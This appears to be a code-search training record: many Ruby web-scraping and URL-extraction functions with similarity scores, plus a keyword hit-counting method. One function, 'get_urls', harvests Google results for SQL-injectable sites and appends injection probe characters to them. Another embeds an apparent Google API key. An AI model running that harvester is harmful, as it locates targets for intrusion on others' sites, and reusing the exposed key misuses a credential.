back to the reverse proxy to show old site page.\n\t\tREDIRECTIONS.select {|k,v| v[:action] == 305}.each {|r| @urls.push(r[0])}\n\t\t# 2. All Homepage's (including mainpage)\n\t\tSection.environments().each do |section|\n\t\t\thome = section_homepage_url(section)\n\t\t\t@urls << home if home\n\t\tend\n\t\t# 3. All Pages\n\t\tAsset.find_all_by_resource_type('Page').select {|p| p.published_page?}.each {|p| @urls << site_page_url(p)}\n\n respond_to do |format|\n format.xml\n end\n\tend", "def get_townhall_urls(url)\n page = Nokogiri::HTML(open(url))\n cities_url = page.xpath('//a[@class=\"lientxt\"]').to_a\n links = (cities_url.map {|url| url[\"href\"][1..-1]}).to_a\n #puts links\n return links\nend", "def get_hrefs\n # this will grab all the html from the url that\n # the user created the scraper with\n url_to_scrape = HTTParty.get(self.url)\n # nokogiri turns everything from HTTParty into nodes.\n nodes = Nokogiri::HTML(url_to_scrape)\n nodes.css('a').each do |a|\n self.hrefs << a['href']\n end\n self.hrefs\n end", "def url\n \"#{GOOGLE_SEARCH_URL}/cse?#{@custom_params.merge(DEFAULT_PARAMS).merge(:q => query, :cx => @search_engine_id, :sort => @sort).delete_if{|k,v| v.nil?}.to_query}\" \n end", "def extracthref(serps)\n split_array=[]\n #go through the serps NodeList one by one and extract the href attribute of the anchor tags\n (0..serps.length-1).each {|i|\n serps_url = serps[i]['href']\n #remove junk that Google appends before and after the end of the returned search result pages\n #using a funky regular expression and push it into a new array\n split_array.push(serps_url.split(/(http.*?)(?=&)/))\n }\n #delete the junk in the array before the element we need\n (0..serps.length-1).each {|i|\n split_array[i].delete_at(0)\n }\n #delete the junk in the array after the element we need (note all elements have moved index by one)\n #due to the last function\n (0..serps.length-1).each {|i|\n split_array[i].delete_at(1)\n }\n split_array\nend", "def get_image_from_google_for(keywords)\n get_link_from_google_for keywords, :image\n rescue Exception\n ''\n end", "def get_movelist_urls_sf(search_url)\n results = Nokogiri::HTML(open(MOVELIST_SEARCH_URL_SF))\n result_links = results.css('li.result > article > h1 > a')\n movelist_urls = result_links.select{ |el|\n el.text.downcase.include? \"list of moves\"\n }.map{ |el|\n el.attribute('href').value\n }\nend", "def get_links(url)\n # catch 404 error from host\n\n doc = Nokogiri::HTML(open(url))\n # find internal links on page\n doc.css('#tagCloud a').each do |link|\n link = link.attr('href')\n # If link correspond to a recipe we add it to recipe to scraw\n if link.include?(ALLOWED_URLS[@host]) && !@crawled_urls.include?(url)\n @to_crawl_urls << link\n end\n end\n @to_crawl_urls.delete url\n @crawled_urls << url\n @to_crawl_urls.uniq!\n rescue OpenURI::HTTPError\n @to_crawl_urls.delete url\n warn \"#{url} cannot be reached\"\n end", "def get_wiki_url(query)\n search_keywords = query.strip.gsub(/\\s+/,'+')\n url = \"http://www.google.com/search?q=#{search_keywords}+site%3Aen.wikipedia.org&safe=active\"\n begin\n doc = Hpricot(open(url, \"UserAgent\" => \"reader\"+rand(10000).to_s).read)\n result = doc.search(\"//div[@id='ires']\").search(\"//li[@class='g']\").first.search(\"//a\").first\n rescue\n return ''\n end\n if result\n return result.attributes[\"href\"]\n else\n return ''\n end\n end", "def urls\n @urls ||= all_urls(sitemap)\n end", "def launch_google_search\n\tLaunchy.open(build_google_search_url)\nend", "def get_all_urls\r\n val_d_oise = \"http://annuaire-des-mairies.com/val-d-oise.html\"\r\n page = Nokogiri::HTML(URI.open(val_d_oise))\r\n links = page.xpath('//*[@class=\"lientxt\"]').map{|anchor| anchor[\"href\"]}\r\n return links\r\nend", "def get_townhall_urls(url)\n\n page = Nokogiri::HTML(URI.open(url)) \n #townhall_url = page.xpath(\"//a/@href\").map {|x| x.value}\n townhall_urls_array_incomplete = page.css('a[href].lientxt').map {|x| x[\"href\"]}\n #remove the dot at the beginning of the url\n townhall_urls_array_incomplete = townhall_urls_array_incomplete.map {|x| x[2..]}\n townhall_urls_array = townhall_urls_array_incomplete.map {|x| \"http://annuaire-des-mairies.com/\" + x}\n return townhall_urls_array\n\nend", "def get_all_the_urls_of_val_doise_townhalls(url)\n page = Nokogiri::HTML(open(url))\n urls = []\n source = \"http://annuaire-des-mairies.com/\"\n news_links = page.css(\"a\").select{|link| link['class'] == \"lientxt\"}\n news_links.each do |link|\n lien = link['href']\n nv_link = lien.byteslice(2,lien.length)\n nv_link = source + nv_link\n urls << nv_link\n end\n return urls\nend", "def urls(crawled: nil, limit: 0, skip: 0)\n query = crawled.nil? ? {} : { crawled: crawled }\n sort = { date_added: 1 }\n\n results = retrieve(:urls, query,\n sort: sort, projection: {},\n limit: limit, skip: skip)\n return [] if results.count < 1 # results#empty? doesn't exist.\n\n # results.respond_to? :map! is false so we use map and overwrite the var.\n results = results.map { |url_doc| Wgit::Url.new(url_doc) }\n results.each { |url| yield(url) } if block_given?\n\n results\n end", "def urls(crawled: nil, limit: 0, skip: 0)\n query = crawled.nil? ? {} : { crawled: crawled }\n sort = { date_added: 1 }\n\n results = retrieve(URLS_COLLECTION, query,\n sort: sort, limit: limit, skip: skip)\n return [] if results.count < 1 # results#empty? doesn't exist.\n\n # results.respond_to? :map! is false so we use map and overwrite the var.\n results = results.map { |url_doc| Wgit::Url.new(url_doc) }\n results.each { |url| yield(url) } if block_given?\n\n results\n end", "def search_google\n options = Selenium::WebDriver::Chrome::Options.new(args: ['-headless'])\n driver = Selenium::WebDriver.for(:chrome, options: options)\n driver.get \"https://www.google.com/search?q=#{@keyword}\"\n\n driver\n end", "def get(search_url)\n @mechanize.get(search_url)\n end", "def urls(env)\n begin\n page = env[:page]\n agent = env[:agent]\n follower_url = page.search(FLAG)[1].attributes['href'].value\n follower_page = agent.get(follower_url)\n tables = follower_page.search(FOLLOWER_FLAG)\n tables.map{|table| get_url_from_table(table)}\n rescue => err\n CrawlingService.log(err.message)\n CrawlingService.log(err.backtrace)\n []\n end\n\n end", "def google_typed_search(type, feeds = [], locale = nil)\n content = \"var #{type}Search = new google.search.#{type.capitalize}Search();\\n\"\n if !['video', 'blog'].include?(type)\n if !locale.blank?\n content << \"#{type}Search.setRestriction(google.search.Search.RESTRICT_EXTENDED_ARGS, {lr:'lang_#{locale}'});\\n\"\n end\n end\n if !['video', 'local', 'patent', 'book'].include?(type)\n feeds.each do |feed|\n if !feed.display_uri.blank?\n content << \"#{type}Search.setSiteRestriction('#{feed.display_uri}');\\n\"\n end\n end\n end\n content << \"searchControl.addSearcher(#{type}Search);\\n\".html_safe\n end", "def paths_from_urls\n urls = []\n parsed_urls.each do |url|\n path = URI(url).path.sub(/^(http(s)?(:)?(\\/)+?(:)?)?((\\/)?www.)?gov.uk/, \"\")\n urls << (path.start_with?(\"/\") ? path : \"/#{path}\")\n end\n urls.uniq\n end", "def apartments_urls(url)\n JSON(Net::HTTP.get(URI(url)))['apartments'].map { |value| value['url'] }\n #Net::HTTP.get(URI(url)).scan(/https\\:\\\\\\/\\\\\\/r\\S{10,}.s\\\\\\/\\d{4,7}/).map { |val| val.gsub(\"\\\\\", \"\") }\n end", "def fetch_via_mechanize(search)\n\t\tagent = Mechanize.new\n\t\tpage = agent.get(GOOGLE_SEARCH_URL)\n\t\tsearch_form = page.form_with(:name => \"f\")\n\t\tsearch_form.field_with(:name => \"q\").value = search \n\t\tagent.submit(search_form)\n\tend", "def urls\n @url.map do |el|\n case el\n when %r{^IANA$}\n IANA_URL % [ @media_type, @sub_type ]\n when %r{^RFC(\\d+)$}\n RFC_URL % $1\n when %r{^DRAFT:(.+)$}\n DRAFT_URL % $1\n when %r{^LTSW$}\n LTSW_URL % @media_type\n when %r{^\\{([^=]+)=([^\\}]+)\\}}\n [$1, $2]\n when %r{^\\[([^=]+)=([^\\]]+)\\]}\n [$1, CONTACT_URL % $2]\n when %r{^\\[([^\\]]+)\\]}\n CONTACT_URL % $1\n else\n el\n end\n end\n end", "def get_all_new_urls(results)\n all_urls = results.map { |result| result.absolute_linked_resources }.flatten\n all_urls.uniq!\n #TODO: handle any other url parsing error\n all_urls.delete_if { |url| !a_domain_we_care_about?(url)}\n all_urls.delete_if { |url| i_have_seen_this_url_before?(url)}\n end", "def getImgURL(title, year)\n title = URI.escape(title + \" \" + year.to_s + \" movie poster\")\n req = \"https://www.googleapis.com/customsearch/v1?key=AIzaSyAyLoJQc-3aOYZLlHff3S4JPmeK88rL878&cx=015799936154194163641:2d_yj8n3fbm&q=\"+title+\"&searchType=image\"#&imgSize=medium\"\n img_results = JSON.parse(@shttp.call(req))\n if img_results && img_results[\"items\"]\n img_results[\"items\"].each do |img_result|\n link = img_result[\"link\"]\n\n begin\n # Return the first link that gives a 200\n if @shttp.head(link) == \"200\"\n return link\n else\n Rails.logger.warn \"Link inaccessible, skipping to next one...\"\n end\n rescue Exception => ex\n Rails.logger.error ex.message\n end\n end\n end\n\n # Return empty string if we don't find anything\n return \"\"\n end", "def urls\n keys\n end", "def all_urls(first_names, last_names)\n urls = []\n\n first_names_with_dashes = first_names.map do |name|\n CGI.escape(name.tr(\"[ ']\", '-').gsub(/ö/, 'oe').downcase)\n end\n\n last_names_with_dashes = last_names.map do |name|\n CGI.escape(name.tr(\"[ ']\", '-').gsub(/ö/, 'oe').downcase)\n end\n\n first_names_with_dashes.each_with_index do |name, index|\n urls << \"https://www.nosdeputes.fr/#{name}-#{last_names_with_dashes[index]}\"\n end\n\n urls\nend", "def grabUrlsFromDomain(domain)\n @htmlDocument = Nokogiri::HTML(open(domain,{ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE}))\n if @htmlDocument.nil?\n abort red('Something went wrong ...')\n else\n puts green('Fetched.')\n end\n\n #Varibles\n tempArray = Array.new\n count = 1\n progress = ProgressBar.create(:starting_at => 0, :total => 200)\n\n @htmlDocument.xpath('//a[@href]').each do |link|\n #se for do mesmo dominio colocar no array\n if !link['href'].to_s.include? \"http://\"\n if !link['href'].to_s.include? \"https://\"\n tempUrl = domain+\"/\"+link['href']\n tempArray << tempUrl+\"\\n\"\n end\n end\n\n if count <= 200\n progress.increment\n end\n\n count+=1\n end\n\n #make they uniq then return\n return tempArray.uniq!\n\n end", "def get_google_img(query)\n img_search_keywords = query.strip.gsub(/\\s+/,'+')\n \n if img_search_keywords != ''\n url = \"http://ajax.googleapis.com/ajax/services/search/images?rsz=large&start=1&v=1.0&q=#{img_search_keywords}\"\n \n json_results = open(url) {|f| f.read };\n results = JSON.parse(json_results)\n image_array = results['responseData']['results']\n image = image_array[0] if image_array\n image = image['tbUrl']\n \n if image\n return image\n else\n return 'no image found'\n end\n end\n end", "def extract_social_links(type, exclude=\"\")\n social_url = @@social_links[type] || type\n\n # find all websites for an item\n @item.links.where(:link_type_id => website_link_type_id).map { |website_link|\n # search for pages on the item's website that link to the social network\n google_search(\"link:#{social_url} #{exclude} AND \", website_link.link_url).collect(&:uri).collect { |org_page_url|\n # request a page and grab all of the links for that page\n # filter the links to only include those that are to the social networ\n URI.extract(Net::HTTP.get(URI.parse(org_page_url))).select { |link|\n link.downcase.include?(social_url)\n }\n }\n }.flatten.collect { |link| normalize_link(type, link) }.uniq.select { |link| usable_link?(type, link) }\n end", "def search_ex_url(ex)\n \"http://www.google.com/search?q=#{URI.escape ex.message}\"\nend", "def links()\n links = Nokogiri::HTML(RedCloth.new(self.body).to_html).css(\"a\").map do |link|\n if (href = link.attr(\"href\")) && href.match(/^https?:/)\n href\n end\n end.compact\n uris = []\n links.each do |link|\n puts link\n uris.push(URI.parse(link))\n end\n return uris\n end", "def google(q,domain,lang)\n\t\tload(\"http://www.google.com/search?ie=UTF-8&hl=#{lang}&q=#{q}\")\n\t\tclicked = false\n\t\tdepth = 0\n\t\twhile true\n\t\t\treturn self if click_by_href(domain)\n\t\t\tif(lang == \"ru\")\n\t\t\t\tnext_string = \">Следующая<\"\n\t\t\telse\n\t\t\t\tnext_string = \">Next<\"\n\t\t\tend\n\t\t\treturn nil unless click_by_html(next_string)\n\t\t\tself.sleep 5\n\t\t\tdepth += 1 \n\t\t\treturn nil if depth > 30\n\t\tend\n\t\tnil\n\t\n\tend", "def contract_urls\n Scrapers::ContractUrlExtractor.new(report.url).urls\n end", "def search_url\n \"http://books.google.com/books/feeds/volumes?q=ISBN#{ isbn }\"\n end", "def google(m, query)\n m.reply(search(query))\n end", "def get_urls\n Format.info(\"I'll run in default mode!\")\n Format.info(\"I'm searching for possible SQL vulnerable sites, using search query #{SEARCH}\")\n agent = Mechanize.new\n agent.user_agent = USER_AGENT\n page = agent.get('http://www.google.com/')\n google_form = page.form('f')\n google_form.q = \"#{SEARCH}\"\n url = agent.submit(google_form, google_form.buttons.first)\n url.links.each do |link|\n if link.href.to_s =~ /url.q/\n str = link.href.to_s\n str_list = str.split(%r{=|&})\n urls = str_list[1]\n #check_urls_for_blacklist(urls)\n urls_to_log = URI.decode(urls)\n Format.success(\"Site found: #{urls_to_log}\")\n sleep(1)\n %w(' ` -- ;).each { |sql|\n File.open(\"#{PATH}/tmp/SQL_sites_to_check.txt\", 'a+') { |s| s.puts(\"#{urls_to_log}#{sql}\") }\n }\n end\n end\n Format.info(\"I've dumped possible vulnerable sites into #{PATH}/tmp/SQL_sites_to_check.txt\")\nend", "def search_for_google_books(search_term)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{search_term}\"\n response = RestClient.get(url)\n hash = JSON.parse(response)\n hash[\"items\"]\nend", "def getwebsite()\n\tpage = Nokogiri::HTML(open(\"https://annuaire-des-mairies.com/val-d-oise.html\"))\n\tsession = GoogleDrive::Session.from_config(\"config.json\")\n\tws = session.spreadsheet_by_key(\"1v7XEnpGDtgjgRom3bp7OwzaK99zlUQIfKuW3QdawXBc\").worksheets[0]\n\tcities = \"\"\n\ti = 1\n\t#define a loop for list of emails\n\tpage.css('a.lientxt').each do |town|\n\t\tsite = \"https://annuaire-des-mairies.com\" + town['href'][1..-1]\n\t\tcities = town.text\n\t\tws[(i), 1] = cities\n\t\tws[(i), 2] = getemail(site)\n\t\ti += 1\n\tend\n\tws.save\nend", "def parse_for_urls(doc, domains)\n\tlinks = doc.search('//*[@id=\"wg0\"]/li/div/div/div[1]/h3/a')\n\tlinks.each do |link|\n\t\tdomain = get_host_name(link.attributes['href'])\n\t\tdomains[domain] = link.inner_text\n\tend\n\treturn domains\nend", "def visited_spots_urls(user_id=self.username)\n connection.get(\"/users/#{user_id}/visited_spots_urls\").body.urls\n end", "def similars\n uri = URI(site.home)\n if match = uri.host.match( /\\b\\w*\\.\\w*$/)\n Site.joins(:reference).\n where(\"type = 'SiteReference' and url ILIKE ?\", \"%#{match[0]}%\").\n uniq.\n keep_if { |other| other.id != site.id }\n else\n []\n end\n end", "def find_3rd_party_apps(weibo_screen_name)\n user = $client.user_show_by_screen_name(weibo_screen_name) ;#user = $client.user_show 1961488257\n sts = $client.statuses(user.id)\n \n sources = {}\n i = 0\n while sts.next_page? #Loops untill end of collection\n sts.each do | s |\n link = Nokogiri::XML s.source\n xpath = \"//a[@href]\"\n elem = link.search(xpath) # ; puts elem.first.text ; puts elem.first['href']\n \n uri = URI(elem.first['href']).host\n sources[elem.first.text] = uri unless sources.keys.include? elem.first.text\n \n # IDEA: it doesn't looks smart to iterative through all the statuses to find out all 3rd party links. Better solution?\n \n # Debug use: limited search\n #i += 1\n #if i > 5 then\n # break \n #end\n end\n end \n # puts sources.inspect\n return sources\nend", "def find_urls_on_page(doc, current_url)\t\n #puts \"Search and return URLs within the doc: #{doc}\" if @verbose\n\t\tbegin \n\t\t\turls_list = []\n\t\t\t# case 1 - search embedded HTML tag <a href='url'> for the url elements\n\t\t\tlinks=doc.css('a')\n\t\t\tlinks.map do |x|\n\t\t\t\t#puts \"x: #{x}\"\n\t\t\t\tnew_url = x.attribute('href').to_s\n\t\t\t\tunless new_url == nil\n\t\t\t\t\tif new_url.match(\"http\")\n\t\t\t\t\t\t#if urls_on_same_domain?(new_url,current_url)\n\t\t\t\t\t\t\turls_list.push(new_url)\n\t\t\t\t\t\t#end\n\t\t\t\t\telse\n\t\t\t\t\t\tnew_url = make_absolute(current_url, new_url)\n\t\t\t\t\t\turls_list.push(new_url)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t# case 2 - search client side redirect - <meta http-equiv=\"refresh\" content=\"5;URL='http://example.com/'\">\n\t\t\telements=doc.css(\"meta[http-equiv]\")\n\t\t\tunless elements.size == 0\n\t\t\t\tlink=elements.attr(\"content\").value.split(/url\\=/i)[1]\n\t\t\t\tunless link.nil?\n\t\t\t\t\tnew_url = make_absolute(current_url, link)\n\t\t\t\t\turls_list.push(new_url) unless new_url.nil?\n\t\t\t\tend\t\t\t\t\n\t\t\tend\n\t\t\t#puts \"Found URLs under page #{current_url}:\\n#{urls_list}\" if @verbose\n\t\t\treturn urls_list.uniq-[\"\",nil]\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n\t\tend\n end", "def get_all_emails\n urls = get_all_the_urls_of_val_doise_townhalls\n emails = []\n\n urls.each do |url|\n emails << get_the_email_of_a_townhal_from_its_webpage(url)\n end\n\n emails\nend", "def references(url, data = nil)\n return [] if data.nil? || data.empty?\n # Enumerate the URIs and add them as keys of a hash to de-duplicate\n enum = Aspire::Enumerator::LinkedDataURIEnumerator.new.enumerator(url, data)\n uris = {}\n enum.each { |_k, hash, _i| uris[hash['value']] = true }\n # Return the list of URIs\n uris.keys\n end", "def all_URLs(group)\n urls = Hash.new()\n each_normal_group_record(group) do |item|\n if item.URL == '' then next end # Only interested in items that has an URL\n key = item.URL.to_s # To avoid using NSStrings (not that it really matters)\n @unify_url_log.debug \"<#{key}> url of '#{item.name}' \"\n if urls.has_key?(key) then\n urls[key] << item.get\n else\n urls[key] = [item.get]\n end\n end\n return urls # hash with URL - number of this URL\n end", "def get_townhall_urls(url)\n urls_department = []\n \n doc = Nokogiri::HTML(open(url))\n \n # Extraire le texte et mettre ça dans un hash \n \n doc.xpath(\"//a[@class=\\\"lientxt\\\"]\").each do |node|\n urls_department << { name: node.text, url: \"http://annuaire-des-mairies.com\" + node[:href][1, node[:href].size - 1]}\n end\n urls_department\n end", "def get_all_the_urls_of_val_doise_townhalls()\n urls_town = []\n doc = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\"))\n doc.css('a.lientxt').each do |x|\n lien_page_mairie = x['href']\n lien_page_mairie.slice!(0)\n lien_page_mairie = \"http://annuaire-des-mairies.com\" + lien_page_mairie\n urls_town.push(lien_page_mairie)\n end\n return urls_town\nend", "def get_townhall_urls(html)\n url = []\n get_townhall_city(html).each do |x|\n url << \"http://annuaire-des-mairies.com/95/#{x}.html\"\n end \n return url\n end", "def to_links(per_page = 100)\n htag_set = Set.new\n\n search = Twitter::Search.new\n @search.per_page(100).fetch.each do |msg|\n links = msg.text.split(\" \").select { |f| f.strip =~ /^https?:/ }\n links.each { |link| htag_set.add(link.strip) }\n end\n\n htag_set\n end", "def get_urls\n\n url_array = []\n top_five = 0\n\n while top_five < 5\n url_array << @news_instance[\"response\"][\"docs\"][top_five][\"web_url\"]\n top_five += 1\n end\n\n # returns the array\n return url_array\n\n end" ]
[ "0.7798854", "0.7328244", "0.710184", "0.68942004", "0.68099004", "0.66551125", "0.6574467", "0.6551397", "0.64066684", "0.6397626", "0.6377852", "0.6367629", "0.63197404", "0.6306135", "0.6273118", "0.6234024", "0.62063926", "0.62023795", "0.61490846", "0.610605", "0.60580033", "0.6043233", "0.6041722", "0.6034957", "0.6032659", "0.60320956", "0.6030477", "0.60264504", "0.60264504", "0.60227084", "0.60160273", "0.6001782", "0.5989563", "0.5971607", "0.5949766", "0.59487504", "0.5927855", "0.59047145", "0.5885509", "0.58565384", "0.5855405", "0.58531296", "0.5847216", "0.58452785", "0.58012205", "0.58012205", "0.5787359", "0.5787098", "0.57744265", "0.5773464", "0.57672185", "0.57585627", "0.5751868", "0.5751753", "0.57499945", "0.57412946", "0.574089", "0.5738638", "0.57215333", "0.5717621", "0.5715382", "0.5714281", "0.56899047", "0.5686668", "0.5674052", "0.56697136", "0.5661503", "0.5638899", "0.5636119", "0.563199", "0.56294155", "0.56235754", "0.56211066", "0.5617407", "0.5604991", "0.5595734", "0.55846494", "0.5583176", "0.5580493", "0.5574829", "0.5574783", "0.5571194", "0.5569712", "0.55607647", "0.5552794", "0.5545037", "0.55408", "0.5532005", "0.5523152", "0.5518614", "0.55155987", "0.5509777", "0.5508695", "0.54945624", "0.54917425", "0.5483796", "0.54830587", "0.5476686", "0.54713607", "0.54675627" ]
0.7487712
1
iterably counts number of hits of each answer in a list of uris
def hitCount(uris, aA, aB, aC, aD) hitCountStart = Time.now aAll = [] aAll << aA << aB << aC << aD countA = 0 countB = 0 countC = 0 countD = 0 aA = aA.downcase aB = aB.downcase aC = aC.downcase aD = aD.downcase aTotal = [] bTotal = [] cTotal = [] dTotal = [] plaintexts=[] n = uris.size n.times {|i| if Time.now - hitCountStart < 8 begin begin doc = Nokogiri::HTML(open(uris[i])) doc.css('script, link').each { |node| node.remove } plaintexts << doc.css('body').text.downcase.split("\n"). collect { |line| line.strip }.join("\n") rescue puts "Nokogiri could not read" end #rescue # "Nokogiri fault" plaintexts[i].each_line { |bar| begin countA += bar.scan(/\b#{aA}\b/i).size rescue end begin countB += bar.scan(/\b#{aB}\b/i).size rescue end begin countC += bar.scan(/\b#{aC}\b/i).size rescue end begin countD += bar.scan(/\b#{aD}\b/i).size rescue end } puts "A = " + countA.to_s + " B = " + countB.to_s + " C = " + countC.to_s + " D = " + countD.to_s end end } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def n_results\n output = {}\n answer_choices.each do |answer|\n output[answer.body] = answer.responses.count\n end\n output\n end", "def results\n responses\n .includes(answer_choices)\n .group(:answer)\n .count\n end", "def popular_links\n result = {}\n urls[0...5].each do |url|\n result[url] = url.num_clicks\n end\n result\n end", "def results\n # { answer choice text => count of responses }\n results_hash = Hash.new(0)\n\n answer_choices.each do |choice|\n # results_hash[choice.question.text] += choice.responses.length \n results_hash[choice.text] += choice.responses.length \n end\n \n results_hash\n end", "def num_hits; @hits.size; end", "def num_hits; @hits.size; end", "def num_hits; @hits.size; end", "def count_of_url_in_seo(input)\n\t \tNonAdwordUrl.where(url: input).count\n\t end", "def urlhist(path)\n\t\tu = Hash.new(0)\n\t\tcnt = 0\n\t\tf=File.open(path)\n\t\tf.readlines.each do |line|\n\t\t\tpart = line.split(' ')\n\t\t\turl = part[6]\n\t\t\tu[url] = u[url] + 1\n\t\t\tcnt +=1\t\n\t\tend\n\t\tu.sort.each do |k, v|\n\t\t\tprint \"The frequency of #{k} | \"\n\t\t\twhile v > 0\n\t\t\t\tprint \"#\"\n\t\t\t\tv-=1\n\t\t\tend\n\t\tputs \"\\n\"\n\t\tend\n\t\t\n\tend", "def ri_counts(*args)\n resources, opts = ri_opts(args)\n counts = {}\n threads = []\n resources.each do |res|\n next unless res.populated?\n threads << Thread.new do\n counts[res.acronym] = res.concept_count(self.xxhash, opts)\n end\n end\n threads.each(&:join)\n counts\n end", "def num_matches\n count = 0\n other_answers.each do |a|\n count += 1 if base_answer.food_groups == a.food_groups\n end\n count\n end", "def num_urls\n @client[URLS_COLLECTION].count\n end", "def make_hash_with_count(passage)\n array_from_excerpt = strip_text(passage)#input from first question\n names_and_counts = Hash.new 0 #initializes at 0\n array_from_excerpt.each do |word|\n names_and_counts[word] += 1#for all subs. occurences, add 1\n end\n names_and_counts # must have the last line return the array!\nend", "def count_item\n count = 0\n @g_net.each do |followers|\n count += 1 unless !followers or followers.empty?\n end\n count\n end", "def results\n results_count = Hash.new(0)\n\n joins_sql = <<-SQL\n LEFT OUTER JOIN\n responses\n ON\n responses.answer_choice_id = answer_choices.id\n SQL\n\n responses = self.answer_choices\n .select(\"answer_choices.*, COUNT(responses.id) AS answer_count\")\n .joins(joins_sql)\n .group(\"answer_choices.id\")\n\n responses.each do |response|\n results_count[response.text] = response.answer_count\n end\n results_count\n end", "def results\n ans_hash = Hash.new(0)\n h = self\n .answer_choices\n .select(\"answers.body, COUNT(responses.id) AS response_count\")\n .joins('left outer join responses on responses.answer_id = answers.id')\n .group(\"answers.id\")\n h.map do |ans|\n ans_hash[ans.body] = ans.response_count\n end\n ans_hash\n end", "def all_hits_count\n return @all_results.length || 0\n end", "def hit_count()\n #This is a stub, used for indexing\n end", "def evaluate_list(list)\n return 1 if list.length == 0\n hit = 0\n list.each do |line|\n hit +=1 if line =~ /<a\\s+href=(['\"]?)([^\"'\\s]+)\\1/imn\n end\n return 9 * (1.0 * hit / list.length) ** 2 + 1\n end", "def url_contains_adword_count(input)\n\t \tAdwordUrl.where(\"url LIKE ?\", \"%#{input}%\").count\n\t end", "def results\n answers_with_count = self\n .answer_choices\n .select(\"answer_choices.*, COUNT(responses.id) AS response_count\")\n .joins(\"LEFT OUTER JOIN responses ON answer_choices.id = responses.answer_choices_id\")\n .group(\"answer_choices.id\")\n\n answers_count_hash = {}\n\n answers_with_count.map do |answer|\n answers_count_hash[answer.text] = answer.response_count\n end\n\n answers_count_hash\n end", "def countWords(href)\n\n # Use mechanize to follow link and get contents\n mechanize = Mechanize.new\n mechanize.user_agent_alias = \"Windows Mozilla\"\n mechanize.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n mechanize.redirect_ok = true\n\n begin\n\n page = mechanize.get(href)\n\n rescue\n\n return { :Positive => 0, :Negative => 0, :Symbol => @symbol, :Date => Time.now.strftime(\"%d/%m/%Y\")}\n\n end\n\n # Use Nokogiri to get the HTML content of a link.\n # html_doc = Nokogiri::HTML(open(href,:allow_redirections => :all, ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE))\n\n html_doc = Nokogiri::HTML(page.content)\n\n # Look for all <p> tags and store their contents\n paragraph = html_doc.css(\"p\").inner_text\n\n # Split the content in single sentences and store in array\n strings = Array[]\n strings = paragraph.split('.')\n\n #Counters for positive and negative words\n positiveCounter = 0\n negativeCounter = 0\n\n # Iterate the sentence array\n strings.each do |s|\n\n # If the sentence includes the @symbol or the @symbolName, split in single words\n if s.upcase.include?(@symbolName) or s.upcase.include?(@symbol)\n\n words = Array[]\n words = s.gsub(/\\s+/m, ' ').strip.split(\" \")\n\n # Iterate the words array\n words.each do |s2|\n\n # Count word if it equals a positive words\n @positiveWordsArray.each do |line|\n if s2.upcase == line\n Scraper.logger.info s2\n #puts s2\n positiveCounter = positiveCounter + 1\n end\n end\n\n # Count word if it equals a negative words\n @negativeWordsArray.each do |line|\n if s2.upcase == line\n Scraper.logger.info s2\n #puts s2\n negativeCounter = negativeCounter + 1\n end\n end\n\n end\n\n end\n\n end\n\n Scraper.logger.info positiveCounter\n Scraper.logger.info positiveCounter\n\n return { :Positive => positiveCounter, :Negative => negativeCounter, :Symbol => @symbol, :Date => Time.now.strftime(\"%d/%m/%Y\")}\n\n end", "def sentiments_counts\n #This will get the sentiments related to each instance\n x = self.sentiments\n\n #These two lines are instantiated for the while loop below\n y = 0\n sentiments_count = []\n\n #This is a loop taking 'positive', 'negative', or 'neutral' from the instances\n while y < x.count\n sentiments_count << x[y][:sentiment]\n y += 1\n end\n\n #This creates a hash and counts each of the words' occurrences in the array\n #The output will look something like:\n # {\"Positive\" => 2, \"Neutral\" => 1, \"Negative\" => 3}\n hash = sentiments_count.each_with_object(Hash.new(0)) { |word,counts| counts[word] += 1 }\n hash.map {|key, value| puts \"#{key} - #{value}\"}\n end", "def occurences_count\n\t\t\t\t\t\tHash.new(0).tap do |result|\n\t\t\t\t\t\t each { |item| result[item] += 1 }\n\t\t\t\t\t\tend\n\t\t\t\tend", "def inbound_link_score(*args)\n rows = args.first\n unique_urls = Set.new(rows.map { |row| row[0] })\n inbound_count = unique_urls.to_hash do |url|\n [\n url, \n Link.count(:conditions => [\"to_id = ?\", url])\n ]\n end\n \n normalize_scores(inbound_count)\n end", "def count(list)\n list.each do |hash|\n total += 1\n end\n return total\n end", "def weight_results(results)\n weights = Hash.new { |hash, key| hash[key] = 0 }\n\n results.each do |set|\n set.each do |item|\n weights[item.name] += item.hits\n end\n end\n\n weights\n end", "def takeCountCat(uri)\r\n i_temp = 0\r\n while true\r\n i_temp += 1\r\n url = URI(uri.chomp('/') + \"/?p=\" + i_temp.to_s)\r\n if Net::HTTP.get(url).empty?\r\n return i_temp - 1\r\n end #end if\r\n end #end while\r\nend", "def recommendations(url,num=5)\n url = url_host_path(url)\n uid = REDIS[\"id:#{url}\"]\n results = REDIS.zrevrangebyscore(\"recos:#{uid}\", '+inf', '-inf', {:withscores => true} )\n \n recos = results[0...num].map do |x| uid,score = x[0],x[1]\n { :title=>REDIS[\"title:#{uid}\"], :url=>REDIS[\"url:#{uid}\"], :score=>score }\n end\n \n return recos\nend", "def survey_count\n @pub_surveys = Survey.select('id').where(status: 'published')\n @pub_survey_ids = Array.new\n\n @pub_surveys.each do |u|\n @pub_survey_ids.push (u.id)\n end\n \n @user_taken_surveys = UserSurvey.where(user_id: current_login)\n @user_taken_survey_ids = Array.new\n\n @user_taken_surveys.each do |u|\n @user_taken_survey_ids.push (u.survey_id)\n end\n\n @untaken_pub_surveys_ids = Array.new\n\n @pub_survey_ids.each do |u|\n if @user_taken_survey_ids.index(u)\n puts \"it exists\"\n else\n @untaken_pub_surveys_ids.push (u)\n end\n end\n\n if @untaken_pub_surveys_ids.empty?\n count = 0\n else\n count = @untaken_pub_surveys_ids.count\n end\n return count\n end", "def genre_count(term)\n #count the genres in object.get_genres\n genres = Hash.new(0)\n object.get_genres(term).each do |genre|\n case\n when genre.include?(\"rap\")\n genres[:rap]+=1\n when genre.include?(\"pop\")\n genres[:pop]+=1\n when genre.include?(\"country\")\n genres[:country]+=1\n when genre.include?(\"indie\")\n genres[:indie]+=1\n when genre.include?(\"hip\")\n genres[\"hip 